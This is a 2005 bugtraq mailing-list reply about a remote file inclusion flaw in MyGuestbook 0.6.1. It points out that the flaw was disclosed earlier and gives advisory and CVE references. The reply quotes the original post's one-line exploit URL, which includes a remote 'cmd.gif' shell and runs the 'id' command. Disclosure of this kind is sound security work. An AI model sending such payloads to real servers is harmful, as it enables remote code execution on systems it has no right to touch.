[40447] in bugtraq
Re: Remote File Inclusion in MyGuestbook
daemon@ATHENA.MIT.EDU (security curmudgeon)
Fri Sep 23 12:10:28 2005
Date: Fri, 23 Sep 2005 04:00:04 -0400 (EDT)
From: security curmudgeon <jericho@attrition.org>
To: rod hedor <rodhedor@hotmail.com>
Cc: bugtraq@securityfocus.com
In-Reply-To: <BAY9-F2363BA83EB53517FD98303C29F0@phx.gbl>
Message-ID: <Pine.LNX.4.63.0509230358180.5282@forced.attrition.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
: Remote File Inclusion in MyGuestbook
:
: version: 0.6.1
:
: Exploit :
: http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id
:
: Discovery by RoDheDoR
This was discovered/posted on July 5 by SoulBlack Security Research:
http://archives.neohapsis.com/archives/bugtraq/2005-07/0040.html
http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2162
http://osvdb.org/17750
